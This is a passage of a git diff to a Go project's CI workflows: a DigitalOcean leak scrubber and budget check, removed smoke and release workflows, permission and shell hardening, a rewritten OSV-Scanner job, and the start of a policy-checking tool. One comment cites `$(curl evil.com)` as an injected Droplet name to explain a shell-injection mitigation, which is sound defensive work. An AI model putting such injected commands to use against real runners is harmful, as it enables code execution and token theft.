BUDGET_HARD_CAP_USD: 25 # mirrors conformance-budget-check.yml - DAILY_SCRUB_THRESHOLD: 3 # > 3 scrub events / day → file budget incident too - steps: - - name: Check out workflow repo - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - - # Detect unconfigured secret. The cron fires on a fixed - # schedule regardless of secret provisioning state; if the - # operator hasn't yet provisioned DO_CONFORMANCE_API_TOKEN - # there are also no resources to scrub (the smoke gate - # cannot have created any). Skip the entire job in that case - # rather than cascading curl-401 failures into hourly noise. - - name: Detect unconfigured token - id: gate - run: | - set -euo pipefail - if [[ -z "${DO_CONFORMANCE_API_TOKEN}" ]]; then - echo "::notice title=Scrubber unarmed::DO_CONFORMANCE_API_TOKEN secret not configured; skipping hourly scrub. No conformance resources can exist without the token." - echo "armed=false" >> "$GITHUB_OUTPUT" - else - echo "armed=true" >> "$GITHUB_OUTPUT" - fi - - - name: List + delete leaked Droplets - if: steps.gate.outputs.armed == 'true' - id: scrub - run: | - set -euo pipefail - NOW_EPOCH=$(date -u +%s) - # GET /v2/droplets?tag_name=... pages at 200/page; the - # conformance account holds zero baseline resources so we - # do not expect to paginate, but we follow the next-page - # link defensively. - PAGE_URL="https://api.digitalocean.com/v2/droplets?per_page=200" - SCRUBBED=0 - DETAILS="" - while [[ -n "${PAGE_URL}" ]]; do - RESPONSE=$(curl --silent --show-error --fail \ - -H "Authorization: Bearer ${DO_CONFORMANCE_API_TOKEN}" \ - "${PAGE_URL}") - # Iterate Droplets whose tags include any conformance-pr-* - # entry AND whose created_at is older than the threshold. - while IFS=$'\t' read -r ID NAME CREATED_AT; do - [[ -z "${ID}" ]] && continue - CREATED_EPOCH=$(date -u -j -f '%Y-%m-%dT%H:%M:%SZ' "${CREATED_AT}" +%s 2>/dev/null \ - || date -u -d "${CREATED_AT}" +%s) - AGE=$(( NOW_EPOCH - CREATED_EPOCH )) - if [[ "${AGE}" -gt "${AGE_THRESHOLD_SECONDS}" ]]; then - # Force-delete via DELETE /v2/droplets/{id}. - curl --silent --show-error --fail \ - -X DELETE \ - -H "Authorization: Bearer ${DO_CONFORMANCE_API_TOKEN}" \ - "https://api.digitalocean.com/v2/droplets/${ID}" - SCRUBBED=$(( SCRUBBED + 1 )) - DETAILS+="- droplet ${ID} (${NAME}, age=${AGE}s)\\n" - echo "deleted droplet ${ID} (${NAME}, age=${AGE}s)" - fi - done < <(echo "${RESPONSE}" \ - | jq -r '.droplets[]? | select(.tags // [] | any(startswith("conformance-pr-"))) | [.id, .name, .created_at] | @tsv') - PAGE_URL=$(echo "${RESPONSE}" | jq -r '.links.pages.next // ""') - done - echo "count=${SCRUBBED}" >> "$GITHUB_OUTPUT" - # Use a delimiter for multi-line outputs so newlines survive. - { - echo "details<> "$GITHUB_OUTPUT" - echo "scrubbed_count=${SCRUBBED}" >> "$GITHUB_STEP_SUMMARY" - - # Pass the scrub outputs through `env:` rather than templating - # them into the script body. ${{ ... }} substitution happens - # BEFORE bash sees the script, so a Droplet name with shell - # metacharacters from the DO API (e.g., `$(curl evil.com)`) - # would otherwise execute on the runner with GITHUB_TOKEN - # access. Reading via env-var-at-runtime is the GitHub-Actions- - # documented mitigation: - # https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-intermediate-environment-variable - - name: File / comment on dedup leak issue - if: steps.gate.outputs.armed == 'true' && steps.scrub.outputs.count != '0' - env: - GH_TOKEN: ${{ github.token }} - PRIMARY_LABEL: conformance-leak-incident - HELPER_LABEL: auto-filed-leak - SCRUB_COUNT: ${{ steps.scrub.outputs.count }} - SCRUB_DETAILS: ${{ steps.scrub.outputs.details }} - run: | - .github/workflows/scripts/file-or-comment-leak-issue.sh \ - "${SCRUB_COUNT}" \ - "${SCRUB_DETAILS}" - - # Budget-incident gate. Two independent triggers: - # 1. Month-to-date spend > $25/mo cap (the smoke-gate kill- - # switch already aborts new runs above this; this branch - # ensures an audit-trail issue exists). - # 2. Scrub EVENTS today > 3 — sustained leak rate that - # warrants human investigation regardless of dollar value. - # Files into a SEPARATE dedup chain so leak vs. budget swimlanes - # stay clean. - # - # IMPORTANT: counting "scrub events" means counting actual - # scrub runs that detected leaks, NOT counting issues created - # today. Because the dedup helper appends comments to a single - # open issue rather than filing fresh ones, an issues-created- - # today count caps at 1 even during a steady-state leak — - # silently failing the > 3/day escalation. The fix counts the - # COMMENTS on the open dedup issue (each scrub appends one), - # plus 1 if the issue itself was filed today (first-detection- - # of-day case). Identified by spec-review of T7.14, fixed in - # this commit. - - name: Check balance + escalate budget incident - if: steps.gate.outputs.armed == 'true' - env: - GH_TOKEN: ${{ github.token }} - run: | - set -euo pipefail - BALANCE=$(curl --silent --show-error --fail \ - -H "Authorization: Bearer ${DO_CONFORMANCE_API_TOKEN}" \ - "https://api.digitalocean.com/v2/customers/my/balance") - SPEND=$(jq -r '.month_to_date_usage // "0"' <<< "${BALANCE}") - - # Count today's scrub events from the open dedup issue's - # comment trail. Each scrub run that detected leaks appends - # one comment via the dedup helper. If no open dedup issue - # exists yet (no leaks today), the count is 0. - TODAY="$(date -u '+%Y-%m-%d')" - EXISTING=$(gh issue list \ - --label conformance-leak-incident \ - --label auto-filed-leak \ - --state open \ - --json number \ - --jq '.[0].number // empty') - if [[ -n "${EXISTING}" ]]; then - # Paginate over comments; count those created today. - # - # IMPORTANT: --paginate runs the --jq filter PER PAGE, so a - # `... | length` inside --jq emits one length per page and - # would yield a multi-line string once the issue paginates - # (every 30 comments by default). Bash arithmetic on a - # multi-line string fails with "syntax error in expression" - # exactly when the scrubber is most needed (sustained-leak - # incident has accumulated comments). Mitigation: extract - # one created_at line per matching comment, then count the - # resulting lines via wc -l. This survives any number of - # pages because wc operates on the merged stream. - COMMENTS_TODAY=$(gh api \ - "repos/${GITHUB_REPOSITORY}/issues/${EXISTING}/comments" \ - --paginate \ - --jq ".[] | select(.created_at >= \"${TODAY}T00:00:00Z\") | .created_at" \ - | wc -l \ - | tr -d ' ') - # Include the issue creation itself if it was today - # (covers the first-detection-of-day case where there - # are 0 comments yet but 1 scrub event has fired). - ISSUE_TODAY=$(gh issue view "${EXISTING}" \ - --json createdAt \ - --jq "if .createdAt >= \"${TODAY}T00:00:00Z\" then 1 else 0 end") - TODAY_SCRUBS=$(( COMMENTS_TODAY + ISSUE_TODAY )) - else - TODAY_SCRUBS=0 - fi - - ESCALATE=0 - REASON="" - if awk "BEGIN { exit !(${SPEND} > ${BUDGET_HARD_CAP_USD}) }"; then - ESCALATE=1 - REASON="month-to-date \$${SPEND} > \$${BUDGET_HARD_CAP_USD} cap" - fi - if [[ "${TODAY_SCRUBS}" -gt "${DAILY_SCRUB_THRESHOLD}" ]]; then - ESCALATE=1 - REASON="${REASON:+${REASON}; }${TODAY_SCRUBS} scrub events today > ${DAILY_SCRUB_THRESHOLD} threshold" - fi - if [[ "${ESCALATE}" -eq 1 ]]; then - PRIMARY_LABEL=conformance-budget-incident \ - HELPER_LABEL=auto-filed-budget \ - ISSUE_TITLE="Conformance budget incident: ${REASON}" \ - .github/workflows/scripts/file-or-comment-leak-issue.sh \ - "${SPEND}" "${REASON}" - else - echo "::notice title=Budget OK::month_to_date_usage=${SPEND}; today_scrubs=${TODAY_SCRUBS}" - fi diff --git a/.github/workflows/conformance-smoke.yml b/.github/workflows/conformance-smoke.yml deleted file mode 100644 index eb1008a0b..000000000 --- a/.github/workflows/conformance-smoke.yml +++ /dev/null @@ -1,122 +0,0 @@ -name: Conformance Smoke (DO) - -# Per-PR DO smoke gate. Triggers on changes to the IaC dispatch -# surface in this repo so any provider-contract regression surfaces -# before merge. The actual scenario invocation (running -# Scenario_NeedsReplaceTriggersReplaceAction against a real DO -# Droplet) lives in workflow-plugin-digitalocean's sister workflow -# (added in P-DO/TP5); this workflow is the trigger + budget gate. -# -# Cost envelope: the scenario provisions one s-1vcpu-512mb-10gb -# Droplet in nyc1 ($4/mo per https://www.digitalocean.com/pricing/droplets -# verified 2026-05-04) for ~5 minutes per PR run. Math: -# $4/mo ÷ 30 days ÷ 24 hrs ÷ 60 min = $0.0000926/min -# $0.0000926/min × 5 min lifetime = ~$0.000463 ≈ $0.0005/PR. -# Hard stop at $25/mo cap (configured in conformance-budget-check.yml); -# soft alert at $15/mo. Approved 2026-05-03 by jon@langevin.me — see -# docs/conformance-runbook.md § "Budget approval". - -on: - pull_request: - paths: - # Workflow-repo paths whose changes can affect the IaC dispatch - # contract every conformance scenario validates. Keep this list - # in sync with the surface that ResourceDriver / IaCProvider / - # wfctlhelpers.ApplyPlan touches. - - 'iac/**' - - 'platform/**' - - 'cmd/wfctl/infra*' - - 'interfaces/iac_*.go' - - 'go.mod' - - 'go.sum' - - '.github/workflows/conformance-smoke.yml' - - '.github/workflows/conformance-budget-check.yml' - -permissions: - contents: read - issues: write # T7.14 helper appends to / files dedup issues - pull-requests: write # for status comments on cleanup failures - -# Concurrency group cancels stacked PR-series duplicates so the budget -# pre-step does not run twice on the same head SHA when the operator -# pushes a quick correction. -concurrency: - group: conformance-smoke-${{ github.event.pull_request.head.sha || github.sha }} - cancel-in-progress: true - -jobs: - # Pre-flight kill-switch. Aborts before any provisioning if month- - # to-date spend on the wfctl-conformance@ account exceeds $25. - budget-check: - name: Budget kill-switch - uses: ./.github/workflows/conformance-budget-check.yml - secrets: - DO_CONFORMANCE_API_TOKEN: ${{ secrets.DO_CONFORMANCE_API_TOKEN }} - - # Dispatch to the workflow-plugin-digitalocean conformance run. - # Until P-DO/TP5 wires the sister workflow, this job runs the - # in-tree conformance self-tests as a regression harness so the - # workflow-repo CI observes scenario contracts — once TP5 ships, - # this step will be replaced with a repository_dispatch that - # triggers the DO repo's real-cloud test against an actual Droplet. - smoke: - name: Run conformance suite - needs: [budget-check] - runs-on: ubuntu-latest - env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* - WFCTL_DIFFCACHE: ":memory:" - # Identifies cleanup targets if a panicking test orphans a - # Droplet. Format matches the leak-scrubber cron query in T7.14. - CONFORMANCE_TAG: conformance-pr-${{ github.event.pull_request.number }} - steps: - - name: Check out workflow repo - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - - - name: Set up Go - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 - with: - go-version: '1.26.4' - cache: false - - - name: Build wfctl - run: go build -o wfctl ./cmd/wfctl - - # Until P-DO/TP5 lands the sister workflow that drives a real - # Droplet, we run the in-tree conformance self-tests so this - # workflow exercises the dispatch path end-to-end. Real cloud - # provisioning is gated behind LiveCloud=true in the scenario - # filter; the in-tree fakes used here cover the platform-side - # contracts (ComputePlan, ApplyPlan, JIT, refresh-outputs). - - name: Run conformance self-tests - run: go test ./iac/conformance/... -count=1 -race -v - - # Outer-job always() cleanup: catches resources orphaned by - # panicking tests (the scenario's own t.Cleanup handles the - # success + ordinary failure paths). Uses wfctl rather than - # doctl per the full-wfctl-dogfooding policy. - # - # The wiring is gated on DO_CONFORMANCE_API_TOKEN being - # provisioned (workflow#542). Until that lands the secret is - # unset; this step emits a ::notice:: indicating the wiring is - # in place but inactive, and the hourly leak-scrubber cron - # (T7.14, conformance-leak-scrubber.yml) is the active safety - # net. Once workflow#542 ships, the gate flips automatically: - # no further changes to this workflow are needed. - - name: Force-delete tagged resources (cleanup safety net) - if: always() - env: - DO_TOKEN: ${{ secrets.DO_CONFORMANCE_API_TOKEN }} - # DIGITALOCEAN_TOKEN is what .github/conformance/cleanup.yaml - # expands at apply time (the canonical env var name in the - # workflow-plugin-digitalocean iac.provider config). - DIGITALOCEAN_TOKEN: ${{ secrets.DO_CONFORMANCE_API_TOKEN }} - run: | - set -euo pipefail - if [ -z "${DO_TOKEN:-}" ]; then - echo "::notice::DO_CONFORMANCE_API_TOKEN not provisioned (workflow#542 deferred); cleanup gate is wired but inactive. Hourly leak-scrubber catches orphans in the meantime." - exit 0 - fi - echo "Cleanup target tag: ${CONFORMANCE_TAG}" - ./wfctl infra cleanup --config .github/conformance/cleanup.yaml --tag "${CONFORMANCE_TAG}" --fix diff --git a/.github/workflows/copilot-setup-steps.yml b/.github/workflows/copilot-setup-steps.yml index a5c0d8d02..0af4825d3 100644 --- a/.github/workflows/copilot-setup-steps.yml +++ b/.github/workflows/copilot-setup-steps.yml @@ -11,6 +11,10 @@ on: paths: - .github/workflows/copilot-setup-steps.yml +defaults: + run: + shell: bash + jobs: # The job MUST be called `copilot-setup-steps` or it will not be picked up by Copilot. copilot-setup-steps: @@ -36,11 +40,6 @@ jobs: cache: false cache-dependency-path: go.sum - # Configure Go for private repository access - - name: Configure Go for private repositories - run: | - git config --global url."https://${{ secrets.GITHUB_TOKEN }}@github.com/".insteadOf "https://github.com/" - # Setup Docker for containerized development - name: Set up Docker Buildx uses: docker/setup-buildx-action@f7ce87c1d6bead3e36075b2ce75da1f6cc28aaca # v3.9.0 @@ -64,5 +63,4 @@ jobs: echo "=== Tool Versions ===" go version golangci-lint version - docker --version echo "All tools installed successfully!" diff --git a/.github/workflows/create-release.yml b/.github/workflows/create-release.yml deleted file mode 100644 index 0752964aa..000000000 --- a/.github/workflows/create-release.yml +++ /dev/null @@ -1,107 +0,0 @@ -name: Create Release Tag - -# Manually trigger a new semantic version tag and immediately kick off the -# release workflow (release.yml) via workflow_call. GitHub Actions does not -# fire push-tag events for tags created by GITHUB_TOKEN, so we call the -# release workflow directly instead of relying on that trigger. - -on: - workflow_dispatch: - inputs: - bump: - description: 'Version bump type' - required: true - default: patch - type: choice - options: - - patch - - minor - - major - -permissions: - contents: write - -jobs: - tag: - name: Generate and push next semver tag - runs-on: ubuntu-latest - outputs: - tag: ${{ steps.next_version.outputs.tag }} - release_tag: ${{ steps.next_version.outputs.tag }} - - steps: - - name: Check out code - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - with: - fetch-depth: 0 - - - name: Determine next version - id: next_version - run: | - # Find the latest v* semver tag (ignore pre-release tags like snapshot) - LATEST=$(git tag --list 'v*' --sort=-version:refname \ - | grep -E '^v(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)$' \ - | head -n1) - - if [ -z "$LATEST" ]; then - LATEST="v0.0.0" - fi - - echo "Latest tag: ${LATEST}" - - # Strip the leading 'v' - VERSION="${LATEST#v}" - MAJOR="${VERSION%%.*}" - MINOR="${VERSION#*.}"; MINOR="${MINOR%.*}" - PATCH="${VERSION##*.}" - - BUMP="${{ inputs.bump }}" - case "${BUMP}" in - major) - MAJOR=$((MAJOR + 1)) - MINOR=0 - PATCH=0 - ;; - minor) - MINOR=$((MINOR + 1)) - PATCH=0 - ;; - patch) - PATCH=$((PATCH + 1)) - ;; - esac - - NEXT_TAG="v${MAJOR}.${MINOR}.${PATCH}" - echo "Next tag: ${NEXT_TAG}" - echo "tag=${NEXT_TAG}" >> "$GITHUB_OUTPUT" - - - name: Create and push tag - run: | - git config user.name "github-actions[bot]" - git config user.email "github-actions[bot]@users.noreply.github.com" - git tag "${{ steps.next_version.outputs.tag }}" - git push origin "${{ steps.next_version.outputs.tag }}" - - - name: Write release metadata - run: | - mkdir -p release-metadata - printf '%s\n' "${{ steps.next_version.outputs.tag }}" > release-metadata/release-tag.txt - - - name: Upload release metadata - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 - with: - name: release-metadata - path: release-metadata/release-tag.txt - if-no-files-found: error - - release: - name: Build and publish release - needs: tag - uses: ./.github/workflows/release.yml - with: - tag_name: ${{ needs.tag.outputs.release_tag }} - secrets: - repo_dispatch_token: ${{ secrets.repo_dispatch_token }} - permissions: - contents: write - packages: write diff --git a/.github/workflows/cross-plugin-build-test.yml b/.github/workflows/cross-plugin-build-test.yml index 5ae809efd..de5bccc66 100644 --- a/.github/workflows/cross-plugin-build-test.yml +++ b/.github/workflows/cross-plugin-build-test.yml @@ -34,11 +34,9 @@ concurrency: permissions: contents: read -# R2 review: match the repo-standard Go module env used by ci.yml + codeql.yml so -# downstream plugin builds resolve github.com/GoCodeAlone/* deps consistently. -env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* +defaults: + run: + shell: bash jobs: cross-plugin-build: diff --git a/.github/workflows/dependency-update.yml b/.github/workflows/dependency-update.yml index e2ade31c9..24e4c3bd0 100644 --- a/.github/workflows/dependency-update.yml +++ b/.github/workflows/dependency-update.yml @@ -2,7 +2,10 @@ name: Dependency Update permissions: contents: read - pull-requests: write + +defaults: + run: + shell: bash on: schedule: @@ -20,17 +23,20 @@ jobs: update-dependencies: name: Update Go Dependencies runs-on: ubuntu-latest + permissions: + contents: write + pull-requests: write steps: - name: Check out code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: - token: ${{ secrets.GITHUB_TOKEN }} + token: ${{ github.token }} - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Update main dependencies @@ -52,7 +58,7 @@ jobs: - name: Create Pull Request uses: peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1 # v8.1.1 with: - token: ${{ secrets.GITHUB_TOKEN }} + token: ${{ github.token }} commit-message: 'chore: update Go dependencies' title: 'chore: update Go dependencies' body: | @@ -65,4 +71,4 @@ jobs: Please review the changes and ensure all functionality works as expected. branch: chore/update-dependencies - delete-branch: true \ No newline at end of file + delete-branch: true diff --git a/.github/workflows/helm-lint.yml b/.github/workflows/helm-lint.yml index ad5dd96cb..51459e0c7 100644 --- a/.github/workflows/helm-lint.yml +++ b/.github/workflows/helm-lint.yml @@ -8,6 +8,10 @@ on: permissions: contents: read +defaults: + run: + shell: bash + jobs: lint: name: Lint Helm Chart diff --git a/.github/workflows/osv-scanner.yml b/.github/workflows/osv-scanner.yml index af18d8f8c..26b0244a3 100644 --- a/.github/workflows/osv-scanner.yml +++ b/.github/workflows/osv-scanner.yml @@ -1,13 +1,6 @@ -# This workflow uses actions that are not certified by GitHub. -# They are provided by a third-party and are governed by -# separate terms of service, privacy policy, and support -# documentation. - -# A sample workflow which sets up periodic OSV-Scanner scanning for vulnerabilities, -# in addition to a PR check which fails if new vulnerabilities are introduced. -# -# For more examples and options, including how to ignore specific vulnerabilities, -# see https://google.github.io/osv-scanner/github-action/ +# This workflow uses a digest-pinned OSV-Scanner container published by Google. +# It preserves differential pull-request reporting and scheduled SARIF uploads +# without delegating authority to a reusable workflow from another repository. name: OSV-Scanner @@ -22,29 +15,163 @@ on: branches: [ "main" ] permissions: - # Required to upload SARIF file to CodeQL - actions: read - # Require writing security events to upload SARIF file to security tab - security-events: write - # Read commit contents contents: read +defaults: + run: + shell: bash + jobs: scan-scheduled: if: ${{ github.event_name == 'push' || github.event_name == 'schedule' }} - uses: "google/osv-scanner-action/.github/workflows/osv-scanner-reusable.yml@9a498708959aeaef5ef730655706c5a1df1edbc2" # v2.3.8 - with: - # Example of specifying custom arguments - scan-args: |- - -r - --skip-git - ./ + runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write + steps: + - name: Check out code + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + + - name: Scan dependency manifests + uses: docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba # v2.3.8 + continue-on-error: true + with: + args: >- + scan + source + --format=json + --output-file=results.json + -r + --allow-no-lockfiles + ./ + + - name: Build SARIF report + uses: docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba # v2.3.8 + with: + entrypoint: /root/osv-reporter + args: >- + --output-files=sarif:results.sarif + --new=results.json + --fail-on-vuln=true + + - name: Upload SARIF artifact + if: ${{ !cancelled() }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: OSV Scanner SARIF file + path: results.sarif + retention-days: 5 + + - name: Upload to code scanning + if: ${{ !cancelled() }} + uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2 + with: + sarif_file: results.sarif + scan-pr: if: ${{ github.event_name == 'pull_request' || github.event_name == 'merge_group' }} - uses: "google/osv-scanner-action/.github/workflows/osv-scanner-reusable-pr.yml@9a498708959aeaef5ef730655706c5a1df1edbc2" # v2.3.8 - with: - # Example of specifying custom arguments - scan-args: |- - -r - --skip-git - ./ + runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write + steps: + - name: Check out code + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + fetch-depth: 0 + persist-credentials: false + + - name: Check out pull-request base commit + if: ${{ github.event_name == 'pull_request' }} + env: + BASE_SHA: ${{ github.event.pull_request.base.sha }} + run: | + if [[ ! "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]]; then + echo "invalid pull-request base SHA" >&2 + exit 1 + fi + git checkout --detach "$BASE_SHA" + + - name: Check out merge-group base commit + if: ${{ github.event_name == 'merge_group' }} + env: + BASE_SHA: ${{ github.event.merge_group.base_sha }} + run: | + if [[ ! "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]]; then + echo "invalid merge-group base SHA" >&2 + exit 1 + fi + git checkout --detach "$BASE_SHA" + + - name: Scan existing dependency manifests + uses: docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba # v2.3.8 + continue-on-error: true + with: + args: >- + scan + source + --format=json + --output-file=old-results.json + -r + --allow-no-lockfiles + ./ + + - name: Restore candidate commit + run: git checkout --force "$GITHUB_SHA" + + - name: Scan candidate dependency manifests + uses: docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba # v2.3.8 + continue-on-error: true + with: + args: >- + scan + source + --format=json + --output-file=new-results.json + -r + --allow-no-lockfiles + ./ + + - name: Build differential SARIF report + uses: docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba # v2.3.8 + with: + entrypoint: /root/osv-reporter + args: >- + --output-files=sarif:results.sarif,gh-annotations:#stderr + --old=old-results.json + --new=new-results.json + --fail-on-vuln=true + + - name: Upload SARIF artifact + if: ${{ !cancelled() }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: OSV Scanner PR SARIF file + path: results.sarif + retention-days: 5 + + - name: Upload old scan JSON + if: ${{ !cancelled() }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: OSV Scanner old JSON results + path: old-results.json + retention-days: 5 + + - name: Upload new scan JSON + if: ${{ !cancelled() }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: OSV Scanner new JSON results + path: new-results.json + retention-days: 5 + + - name: Upload to code scanning + if: ${{ !cancelled() }} + uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2 + with: + sarif_file: results.sarif diff --git a/.github/workflows/policytool/go.mod b/.github/workflows/policytool/go.mod new file mode 100644 index 000000000..9bb28e4e7 --- /dev/null +++ b/.github/workflows/policytool/go.mod @@ -0,0 +1,8 @@ +module github.com/GoCodeAlone/workflow/.github/workflows/policytool + +go 1.26.5 + +require ( + gopkg.in/yaml.v3 v3.0.1 + mvdan.cc/sh/v3 v3.13.1 +) diff --git a/.github/workflows/policytool/go.sum b/.github/workflows/policytool/go.sum new file mode 100644 index 000000000..ea0e47936 --- /dev/null +++ b/.github/workflows/policytool/go.sum @@ -0,0 +1,16 @@ +github.com/go-quicktest/qt v1.101.0 h1:O1K29Txy5P2OK0dGo59b7b0LR6wKfIhttaAhHUyn7eI= +github.com/go-quicktest/qt v1.101.0/go.mod h1:14Bz/f7NwaXPtdYEgzsx46kqSxVwTbzVZsDC26tQJow= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= +github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +mvdan.cc/sh/v3 v3.13.1 h1:DP3TfgZhDkT7lerUdnp6PTGKyxxzz6T+cOlY/xEvfWk= +mvdan.cc/sh/v3 v3.13.1/go.mod h1:lXJ8SexMvEVcHCoDvAGLZgFJ9Wsm2sulmoNEXGhYZD0= diff --git a/.github/workflows/policytool/main.go b/.github/workflows/policytool/main.go new file mode 100644 index 000000000..94123cf95 --- /dev/null +++ b/.github/workflows/policytool/main.go @@ -0,0 +1,2642 @@ +package main + +import ( + "bytes" + "crypto/sha256" + "encoding/json" + "fmt" + "io" + "os" + "path" + "path/filepath" + "reflect" + "regexp" + "sort" + "strings" + + "gopkg.in/yaml.v3" + "mvdan.cc/sh/v3/syntax" +) + +type allowEntry struct { + Path string `json:"path"` + Secret string `json:"secret"` + ContextSHA256 string `json:"contextSHA256"` + State string `json:"state"` + Rationale string `json:"rationale"` +} + +type executableEntry struct { + Path string `json:"path"` + WorkflowPath string `json:"workflowPath"` + ContextSHA256 string `json:"contextSHA256"` + SHA256 string `json:"sha256"` + State string `json:"state"` + Rationale string `json:"rationale"` +} + +func trustedPolicyExecutable(entry executableEntry) bool { + return entry.WorkflowPath == ".github/workflows/public-workflow-policy.yml" && + entry.Path == "scripts/check-public-workflow-policy.sh" +} + +type commandEntry struct { + Path string `json:"path"` + Command string `json:"command"` + StatementSHA256 string `json:"statementSHA256"` + ContextSHA256 string `json:"contextSHA256"` + State string `json:"state"` + Rationale string `json:"rationale"` +} + +type actionEntry struct { + Path string `json:"path"` + Uses string `json:"uses"` + NodeSHA256 string `json:"nodeSHA256"` + ContextSHA256 string `json:"contextSHA256"` + State string `json:"state"` + Rationale string `json:"rationale"` +} + +type trustGroup struct { + Path string `json:"path"` + ContextSHA256 string `json:"contextSHA256,omitempty"` + State string `json:"state"` + Presence string `json:"presence"` +} + +type authorityFile struct { + Path string `json:"path"` + SHA256 string `json:"sha256"` +} + +type authorityBundle struct { + State string `json:"state"` + Files []authorityFile `json:"files"` +} + +type authorityManifest struct { + Version int `json:"version"` + Bundles []authorityBundle `json:"bundles"` +} + +type trustPolicy struct { + Secrets []allowEntry + Executables []executableEntry + Commands []commandEntry + Actions []actionEntry + Presence []trustGroup +} + +var authorityFixedPaths = []string{ + ".github/workflows/policytool/go.mod", + ".github/workflows/policytool/go.sum", + ".github/workflows/policytool/main.go", + ".github/workflows/policytool/main_test.go", + ".github/workflows/scripts/verify-public-workflow-branch-protection.sh", + "scripts/check-public-workflow-policy.sh", + "scripts/test-check-public-workflow-policy.sh", +} + +func authorityPathAllowed(filePath string) bool { + if filePath == path.Clean(filePath) && !path.IsAbs(filePath) && !strings.Contains(filePath, "\\") && + filePath != "." && filePath != ".." && !strings.HasPrefix(filePath, "../") { + for _, fixed := range authorityFixedPaths { + if filePath == fixed { + return true + } + } + return strings.HasPrefix(filePath, ".github/workflows/policytool/") || + strings.HasPrefix(filePath, "scripts/fixtures/public-workflow-policy/") + } + return false +} + +func validateAuthorityManifest(manifest authorityManifest) []string { + findings := []string{} + if manifest.Version != 1 { + findings = append(findings, "authority manifest version must be 1") + } + activeCount := 0 + stagedCount := 0 + for bundleIndex, bundle := range manifest.Bundles { + switch bundle.State { + case "active": + activeCount++ + case "staged": + stagedCount++ + default: + findings = append(findings, fmt.Sprintf("authority bundle %d has invalid state", bundleIndex)) + } + seen := make(map[string]bool) + previous := "" + for _, file := range bundle.Files { + if !authorityPathAllowed(file.Path) { + findings = append(findings, fmt.Sprintf("authority bundle contains invalid path %s", file.Path)) + } + if seen[file.Path] { + findings = append(findings, fmt.Sprintf("authority bundle contains duplicate path %s", file.Path)) + } + if previous != "" && file.Path <= previous { + findings = append(findings, "authority bundle files must be strictly sorted by path") + } + if !validSHA256Hex(file.SHA256) { + findings = append(findings, fmt.Sprintf("authority bundle contains invalid hash for %s", 